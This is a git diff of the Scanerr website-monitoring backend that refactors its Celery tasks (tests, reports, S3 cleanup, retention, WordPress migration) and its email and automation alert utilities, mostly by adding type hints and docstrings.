-    while current_time < max_wait_time:
-        post_scan = Scan.objects.get(id=post_scan_id)
-        time.sleep(5)
-        if post_scan.time_completed is not None:
-           run_test.delay(test_id=test.id, automation_id=automation_id)
-           current_time += 500
-
-        current_time += 5
+        automater(automation_id, test.id)
 
-    logger.info('Scan complete, begining Test')
+    logger.info('Test completed')
+    return None
 
 
 
@@ -291,18 +472,36 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_test(
         self,
-        test_id=None,
-        page_id=None, 
-        automation_id=None, 
-        configs=None, 
-        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-        index=None,
-        pre_scan=None,
-        post_scan=None,
-        tags=None,
-        *args, 
-        **kwargs,
-    ):
+        test_id: str=None,
+        page_id: str=None, 
+        automation_id: str=None, 
+        configs: dict=settings.CONFIGS, 
+        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        index: int=None,
+        pre_scan: str=None,
+        post_scan: str=None,
+        tags: list=None,
+    ) -> None:
+    """ 
+    Creates a `post_scan` if necessary, waits for completion,
+    and runs a `Test`
+
+    Expects: {
+        test_id       : str,
+        page_id       : str, 
+        automation_id : str, 
+        configs       : dict, 
+        type          : list,
+        index         : int,
+        pre_scan      : str,
+        post_scan     : str,
+        tags          : list,
+    }
+    
+    Returns -> None
+    """
+
+    # get or create a Test
     if test_id is not None:
         created_test = Test.objects.get(id=test_id)
         page = created_test.page
@@ -315,11 +514,11 @@ def create_test(
             tags=tags,
         )
 
+    # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
     if post_scan is not None:
         post_scan = Scan.objects.get(id=post_scan)
-
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
             pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
@@ -348,21 +547,38 @@ def create_test(
     created_test.pre_scan = pre_scan
     created_test.post_scan = post_scan
     created_test.save()
-    
-    # monitor post_scan and run test after completion
-    # check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
 
     # check if pre and post scan are complete and start test if True
     if pre_scan.time_completed is not None and post_scan.time_completed is not None:
         run_test.delay(test_id=created_test.id, automation_id=automation_id)
     
     logger.info('Began Scan/Test process')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_test_bg(self, *args, **kwargs):
+def create_test_bg(self, *args, **kwargs) -> None:
+    """ 
+    Depending on the scope, run create_test() for 
+    all requested pages.
+
+    Expects: {
+        site_id       : str
+        page_id       : str
+        test_id       : str
+        type          : list
+        configs       : dict
+        tags          : list
+        automation_id : str
+        pre_scan      : str
+        post_scan     : str
+    }
+    
+    Returns -> None
+    """
+    
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -374,6 +590,7 @@ def create_test_bg(self, *args, **kwargs):
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
 
+    # create test if none was passed
     if test_id is None:
         if site_id is not None:
             site = Site.objects.get(id=site_id)
@@ -382,6 +599,7 @@ def create_test_bg(self, *args, **kwargs):
             p = Page.objects.get(id=page_id)
             pages = [p]
 
+        # create a test for each page
         for page in pages:
             create_test.delay(
                 page_id=page.id,
@@ -393,6 +611,7 @@ def create_test_bg(self, *args, **kwargs):
                 automation_id=automation_id
             )
     
+    # get test and run 
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         create_test.delay(
@@ -406,14 +625,34 @@ def create_test_bg(self, *args, **kwargs):
             automation_id=automation_id
         )
 
+    logger.info('Created new Tests')
+    return None
+
 
 
 
 @shared_task
-def create_report(page_id=None, automation_id=None, *args, **kwargs):
+def create_report(page_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Generates a new PDF `Report` of the requested `Page`
+    and runs the associated `Automation` if requested
+
+    Expcets: {
+        page_id       : str, 
+        automation_id : str
+    }
+    
+    Returns -> None
+    """
+    
+    # get page
     page = Page.objects.get(id=page_id)
+    
+    # check if report exists
     if Report.objects.filter(page=page).exists():
         report = Report.objects.filter(site=site).order_by('-time_created')[0]
+    
+    # create new report obj
     else:
         info = {
             "text_color": '#24262d',
@@ -428,45 +667,68 @@ def create_report(page_id=None, automation_id=None, *args, **kwargs):
             type=['lighthouse', 'yellowlab']
         )
     
-    report = R(report=report).make_test_report()
+    # generate report PDF
+    report = R(report=report).generate_report()
     if automation_id:
-        automation(automation_id, report.id)
+        automater(automation_id, report.id)
+    
     logger.info('Created new report of page')
+    return None
 
 
 
 
 @shared_task
-def create_report_bg(*args, **kwargs):
+def create_report_bg(*args, **kwargs) -> None:
+    """
+    Creates new `Reports` for the requested `Pages`
+
+    Expects: {
+        'site_id'       : str,
+        'page_id'       : str
+        'automation_id' : str
+    }
+     
+    Returns -> None
+    """
+
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
     automation_id = kwargs.get('automation_id')
 
+    # deciding scope
     if site_id is not None:
         site = Site.objects.get(id=site_id)
         pages = Page.objects.filter(site=site)
     if page_id is not None:
         pages = [Page.objects.get(id=page_id)]
 
+    # create reports for each page
     for page in pages:
         create_report.delay(
             page_id=page.id,
             automation_id=automation_id
         )
+    
+    logger.info('Created new Reports')
+    return None
 
 
 
 
 @shared_task
-def delete_site_s3_bg(site_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_site_s3_bg(site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed site
+
+    Expects: {
+        'site_id': str
+    }
+
+    Returns -> None
+    """
 
     # deleting s3 objects
     try:
@@ -474,80 +736,108 @@ def delete_site_s3_bg(site_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
     except:
         pass
+
     logger.info('Deleted site s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME),
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_page_s3_bg(page_id: str, site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed page
+
+    Expects: {
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted page s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_scan_s3_bg(scan_id, site_id, page_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed scan
+
+    Expects: {
+        'scan_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted scan s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_test_s3_bg(test_id, site_id, page_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'test_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted test s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_testcase_s3_bg(testcase_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'testcase_id': str,
+    }
+
+    Returns -> None
+    """
 
     # deleting s3 objects
     try:
@@ -555,20 +845,25 @@ def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
     except:
         pass
+
     logger.info('Deleted testcase s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_report_s3_bg(report_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_report_s3_bg(report_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed report
+
+    Expects: {
+        'report_id': str,
+    }
+
+    Returns -> None
+    """
 
     # get site
     site = Report.objects.get(id=report_id).site
@@ -579,13 +874,53 @@ def delete_report_s3_bg(report_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
     except:
         pass
+
     logger.info('Deleted Report pdf in s3')
+    return None
+
+
+
+
+@shared_task
+def delete_case_s3_bg(case_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed case_id
+
+    Expects: {
+        'case_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}.json')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Case step data in s3')
+    return None
 
 
 
 
 @shared_task
-def purge_logs(username=None, *args, **kwargs):
+def purge_logs(username: str=None) -> None:
+    """ 
+    Deletes all `Logs` associated with the passed "username".
+    If "username" is None, deletes all `Logs`.
+
+    Expects: {
+        'username': str
+    }
+
+    Returns -> None
+    """
+
+    # delete logs
     if username:
         user = User.objects.get(username=username)
         Log.objects.filter(user=user).delete()
@@ -593,6 +928,7 @@ def purge_logs(username=None, *args, **kwargs):
         Log.objects.all().delete()
 
     logger.info('Purged logs')
+    return None
 
 
 
@@ -600,13 +936,28 @@ def purge_logs(username=None, *args, **kwargs):
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
         self, 
-        site_id=None,
-        process_id=None,
-        start_url=None,
-        max_cases=None,
-        max_layers=None,
-        configs=None
-    ):
+        site_id: str=None,
+        process_id: str=None,
+        start_url: str=None,
+        max_cases: int=4,
+        max_layers: int=5,
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Generates new `Cases` for the passed site.
+
+    Expects: {
+        site_id    : str,
+        process_id : str,
+        start_url  : str,
+        max_cases  : int,
+        max_layers : int,
+        configs    : dict
+    }
+    
+    Returns -> None
+    """
+
     # get objects
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
@@ -623,7 +974,9 @@ def create_auto_cases_bg(
 
     # build cases
     AC.build_cases()
+
     logger.info('Built new auto Cases')
+    return None
 
 
 
@@ -631,20 +984,34 @@ def create_auto_cases_bg(
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
-        testcase_id=None, 
-        site_id=None, 
-        case_id=None, 
-        updates=None, 
-        automation_id=None,
-        configs=None, 
-        type=None,
-        *args, 
-        **kwargs,
-    ):
+        testcase_id: str=None, 
+        site_id: str=None, 
+        case_id: str=None, 
+        updates: dict=None, 
+        automation_id: str=None,
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Creates and or runs a Testcase.
+
+    Expects: {
+        testcase_id   : str, 
+        site_id       : str, 
+        case_id       : str, 
+        updates       : dict, 
+        automation_id : str,
+        configs       : dict
+    }
+    
+    Returns -> None
+    """
+
+    # getting testcase
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
         configs = testcase.configs
     
+    # creating testcase from case
     else:
         case = Case.objects.get(id=case_id)
         site = Site.objects.get(id=site_id)
@@ -662,10 +1029,12 @@ def create_testcase_bg(
                 step['assertion']['exception'] = None
                 step['assertion']['passed'] = None
 
+        # adding updates
         if updates != None:
             for update in updates:
                 steps[int(update['index'])]['action']['value'] = update['value']
-    
+
+        # create new testcase
         testcase = Testcase.objects.create(
             case = case,
             case_name = case.name,
@@ -676,16 +1045,6 @@ def create_testcase_bg(
             steps = steps
         )
 
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
-
     # running testcase
     if configs.get('driver', 'puppeteer') == 'puppeteer':
         testresult = asyncio.run(
@@ -694,18 +1053,35 @@ def create_testcase_bg(
     if configs.get('driver', 'puppeteer') == 'selenium':
         testresult = Caser(testcase=testcase).run_s()
 
+    # run automation if requested
     if automation_id:
-        automation(automation_id, testcase.id)
+        automater(automation_id, testcase.id)
+
     logger.info('Ran full testcase')
+    return None
 
 
 
 
 @shared_task
-def delete_old_resources(account_id=None, days_to_live=30):
+def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
+    """ 
+    Deletes all `Tests`, `Scans`, `Testcases`, 
+    `Logs`, and `Processes` that have reached expiry
+
+    Expects: {
+        account_id   : str, 
+        days_to_live : int
+    }
+    
+    Returns -> None
+    """
+
+    # calculate max dates
     max_date = datetime.now() - timedelta(days=days_to_live)
     max_proc_date = datetime.now() - timedelta(days=1)
 
+    # scope resources to account if requested
     if account_id is not None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
@@ -718,6 +1094,7 @@ def delete_old_resources(account_id=None, days_to_live=30):
         for member in members:
             logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date)
 
+    # get all resoruces if no account_id
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
@@ -725,6 +1102,7 @@ def delete_old_resources(account_id=None, days_to_live=30):
         processes = Process.objects.filter(time_created__lte=max_proc_date)
         logs = Log.objects.filter(time_created__lte=max_proc_date)
 
+    # delete each resource in each type
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
         test.delete()
@@ -739,42 +1117,81 @@ def delete_old_resources(account_id=None, days_to_live=30):
     for log in logs:
         log.delete()
     
-    
     logger.info('Cleaned up resources')
+    return None
 
 
 
 
 @shared_task
-def data_retention():
+def data_retention() -> None:
+    """ 
+    Helper task for looping through each account and deleting old resources using 
+    delete_old_resources()
+
+    Returns -> None
+    """
+
+    # get all accounts
     accounts = Account.objects.all()
+
+    # loop through each account
     for account in accounts:
+
+        # delete old resources
         delete_old_resources.delay(
             account_id=account.id,
             days_to_live=account.retention_days
         )
     
     logger.info('Requested resource cleanup')
+    return None
 
 
 
 
 @shared_task
-def delete_admin_sites(days_to_live=1):
+def delete_admin_sites(days_to_live: int=1) -> None:
+    """ 
+    Delete all admin sites which are older 
+    than 'days_to_live'
+
+    Expects: {
+        'days_to_live': int 
+    }
+    
+    Returns -> None
+    """
+
+    # calculate max date
     max_date = datetime.now() - timedelta(days=days_to_live)
+
+    # filter sites by max_date and admin 
     sites = Site.objects.filter(time_created__lte=max_date, user__username='admin')
 
+    # delete each site
     for site in sites:
         delete_site_s3_bg.delay(site.id)
         site.delete()
     
     logger.info('Cleaned up admin sites')
+    return None
 
 
 
 
 @shared_task
-def create_prospect(user_email=None):
+def create_prospect(user_email: str=None) -> None:
+    """ 
+    Sends an API request to Scanerr Landing which 
+    creates a new `Prospect`
+
+    Expects: {
+        'user_email': str
+    }
+    
+    Returns -> None
+    """
 
     # get user by id
     user = User.objects.get(email=user_email)
@@ -812,49 +1229,135 @@ def create_prospect(user_email=None):
         success = False
         message = e
 
+    # format response
     data = {
         'success': success,
         'message': message
     }
     
     logger.info(f'Sent Prospect creation request -> {data}')
+    return None
 
 
 
 
 @shared_task
-def create_report_export_bg(report_id=None, email=None, first_name=None):
+def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None:
+    """ 
+    Creates and exports a Scanerr landing report
+
+    Expects: {
+        report_id   : str, 
+        email       : str, 
+        first_name  : str
+    }
+    
+    Returns -> None
+    """
+
+    # create and export 
     data = create_and_send_report_export(
         report_id=report_id,
         email=email,
         first_name=first_name
     )
+
     logger.info(f'Created and sent report export -> {data}')
+    return None
+
+
+
+
+@shared_task
+def send_invite_link_bg(member_id: str) -> None:
+    """ 
+    Sends an invite link to the requested member
+
+    Expects: {
+        'member_id': str
+    }
+
+    Returns -> None
+    """
+    
+    # get member
+    member = Member.objects.get(id=member_id)
+
+    # send invite
+    send_invite_link(member)
+
+    logger.info('Sent invite')
+    return None
+
+
+
+
+@shared_task
+def send_remove_alert_bg(member_id: str) -> None:
+    """ 
+    Sends a 'removed' email to the requested member
+
+    Expects: {
+        'member_id': str
+    }
+
+    Returns -> None
+    """
+
+    # get member
+    member = Member.objects.get(id=member_id)
+
+    # send email
+    send_remove_alert(member)
+
+    logger.info('Sent remove alert')
+    return None
 
 
 
 
 @shared_task
 def migrate_site_bg(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time,
-        process_id,
-        driver, 
-        *args, 
-        **kwargs
-    ):
+        login_url: str, 
+        admin_url: str,
+        username: str,
+        password: str,
+        email_address: str,
+        destination_url: str,
+        sftp_address: str,
+        dbname: str,
+        sftp_username: str,
+        sftp_password: str, 
+        plugin_name: str,
+        wait_time: int,
+        process_id: str,
+        driver: str,
+    ) -> None:
+    """ 
+    Runs the WP site migration process.
+
+    Expects: {
+        login_url: str, 
+        admin_url: str,
+        username: str,
+        password: str,
+        email_address: str,
+        destination_url: str,
+        sftp_address: str,
+        dbname: str,
+        sftp_username: str,
+        sftp_password: str, 
+        plugin_name: str,
+        wait_time: int,
+        process_id: str,
+        driver: str,
+    }
+
+    Returns -> None
+    """
+
     if driver == 'selenium':
-        # init wordpress
+        # init wordpress for selenium
         wp = W(
             login_url=login_url, 
             admin_url=admin_url,
@@ -904,26 +1407,7 @@ def migrate_site_bg(
         )
 
     logger.info('Finished Migration')
-
-
-
-
-@shared_task
-def send_invite_link_bg(member_id):
-    member = Member.objects.get(id=member_id)
-    send_invite_link(member)
-    logger.info('Sent invite')
-
-
-
-
-@shared_task
-def send_remove_alert_bg(member_id):
-    member = Member.objects.get(id=member_id)
-    send_remove_alert(member)
-    logger.info('Sent remove alert')
-
-
+    return None
 
 
 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index f30c8079..cc6eef5d 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -1,11 +1,6 @@
-from django.core.mail import send_mail, send_mass_mail
-from django.contrib.auth.models import User
-from django.template.loader import render_to_string
 from datetime import date
-import os, operator, json, requests, uuid
-from django.utils.html import strip_tags
 from django.contrib.auth.models import User
-from rest_framework.response import Response
+from rest_framework_simplejwt.tokens import RefreshToken
 from ..models import *
 from twilio.rest import Client
 from slack_sdk.web import WebClient
@@ -13,22 +8,214 @@
 from sendgrid import SendGridAPIClient
 from sendgrid.helpers.mail import Mail, From, To
 from scanerr import settings
+import os, json, requests, uuid
+
+
+
+
+
+
+def send_reset_link(email: str=None) -> dict:
+    """
+    Sends a reset password email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email': str
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if User exists
+    if User.objects.filter(email=email).exists():
+
+        # build email data
+        user = User.objects.get(email=email)
+        token = RefreshToken.for_user(user)
+        access_token = str(token.access_token)
+        reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token)
+        subject = 'Rest Password'
+        title = 'Reset Password'
+        pre_header = 'Reset Password'
+        pre_content = 'Click the link below to reset your password.'
+        greeting = f'Hi there,'
+
+        context = {
+            'greeting': greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : reset_link,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'button_text' : 'Rest my password',
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
+
+        # send email
+        sendgrid_email(message_obj=context)
+
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
+
+
+
+
+def send_invite_link(member: object=None) -> dict:
+    """
+    Sends an invite email to the passed `Member`
+
+    Expects: {
+        'member': obj
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if member exists as status "pending"
+    if Member.objects.filter(email=member.email, status="pending").exists():
+
+        # build email data
+        link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
+        subject = 'Scanerr Invite'
+        title = 'Scanerr Invite'
+        pre_header = 'Scanerr Invite'
+        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        greeting = 'Hi there,'
+
+        context = {
+            'greeting': greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': member.email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : link,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'button_text' : 'Accept Invite',
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
+        
+        # send email
+        sendgrid_email(message_obj=context)
+
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
+
+
+
+
+def send_remove_alert(member: object=None) -> dict:
+    """
+    Sends a "removed" email to the passed `Member` and 
+    deletes member from DB 
+
+    Expects: {
+        'member': obj
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if member exists as status "removed"
+    if Member.objects.filter(email=member.email, status="removed").exists():
+
+        # build email data
+        subject = 'Removed From Account'
+        title = 'Removed From Account'
+        pre_header = 'Removed From Account'
+        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        greeting = 'Hi there,'
+
+        context = {
+            'greeting' : greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': member.email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : None,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
 
+        # send email
+        sendgrid_email(message_obj=context)
 
+        # delete member obj
+        member.delete()
 
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
 
 
-def create_exp_str(item, automation, is_email=False):
 
+
+def create_exp(item: object=None, automation: object=None) -> dict:
+    """ 
+    Builds an expression list (exp_list = []) based 
+    on the passed 'item' and `Automation`.
+
+    Expects: {
+        'item'       :  object (Scan, Test, Testcase),
+        'automation' :  object
+    }
+
+    Returns -> data: {
+        'exp_list': list, 
+        'exp_str' : str,
+    }
+    """
+
+    # init exp_list
     exp_list = []
     
+    # loop through automation expressions
     for e in automation.expressions:
+
+        # top-level scores and data
         if 'test_score' in e['data_type']:
             data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t'
         elif 'current_health' in e['data_type']:
             data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t'
         elif 'health' in e['data_type']:
             data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t'
+        
         # LH test data
         elif 'current_lighthouse_average' in e['data_type']:
             data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t'
@@ -44,6 +231,7 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t'
         elif 'accessibility_delta' in e['data_type']:
             data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t'
+        
         # LH scan data
         elif 'lighthouse_average' in e['data_type']:
             data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t'
@@ -60,8 +248,6 @@ def create_exp_str(item, automation, is_email=False):
         elif 'accessibility' in e['data_type']:
             data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t'
         
-        
-
         # yellowlab test data
         elif 'current_yellowlab_average' in e['data_type']:
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
@@ -110,15 +296,17 @@ def create_exp_str(item, automation, is_email=False):
         elif 'serverConfig' in e['data_type']:
             data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t'
         
+        # image data
         elif 'avg_image_score' in e['data_type']:
             data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t'
         elif 'image_scores' in e['data_type']:
             data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' 
         
+        # logs data
         elif 'logs' in e['data_type']:
             data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t'
 
-
+        # testcase data
         elif 'testcase' in e['data_type']:
             status = 'Failed'
             if e['value'] == 'True':
@@ -126,25 +314,55 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status)
         
         
+        # add to exp_list
         exp_list.append(data_type)
 
-    if is_email:
-        return exp_list
 
-    exp_str = ('\t'+''.join(exp_list))
-    return exp_str
+    # formating return data
+    data = {
+        'exp_list': exp_list,
+        'exp_str': ('\t'+''.join(exp_list))
+    }
+
+    return data
 
 
 
 
+def create_json_data(json_data: dict=None, item: object=None) -> dict: 
+    """ 
+    Builds an expression list (exp_list = []) based 
+    on the passed 'item' and `Automation`.
 
-def create_json_data(data, obj): 
-    json_data = data
-    item = obj
+    Expects: {
+        'item'       :  object (Scan, Test, Testcase),
+        'automation' :  object
+    }
+
+    Returns -> dict
+    """
 
+    # looping through json_data to 
+    # update values with item.data
     for key in json_data:
+
+        # high-level test score
         if 'test_score' == json_data[key]:
             json_data[key] = item.score
+        elif 'current_health' == json_data[key]:
+            json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2)
+        elif 'avg_image_score' == json_data[key]:
+            json_data[key] = item.images_delta["average_score"]
+        elif 'image_scores' == json_data[key]:
+            json_data[key] = [i["score"] for i in item.images_delta["images"]]
+
+        # high-level scan score
+        elif 'health' == json_data[key]:
+            json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2)
+        elif 'logs' == json_data[key]:
+            json_data[key] = len(item.logs)
+
+        # LH test data
         elif 'seo_delta' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["seo_delta"]
         elif 'pwa_delta' == json_data[key]:
@@ -157,16 +375,10 @@ def create_json_data(data, obj):
             json_data[key] = item.lighthouse_delta["scores"]["performance_delta"]
         elif 'accessibility_delta' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"]
-        elif 'current_health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2)
-        elif 'health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2)
-        elif 'logs' == json_data[key]:
-            json_data[key] = len(item.logs)
         elif 'current_lighthouse_average' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["current_average"]
-        elif 'current_average' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["current_average"]
+        
+        # LH scan data
         elif 'seo' == json_data[key]:
             json_data[key] = item.lighthouse["scores"]["seo"]
         elif 'pwa' == json_data[key]:
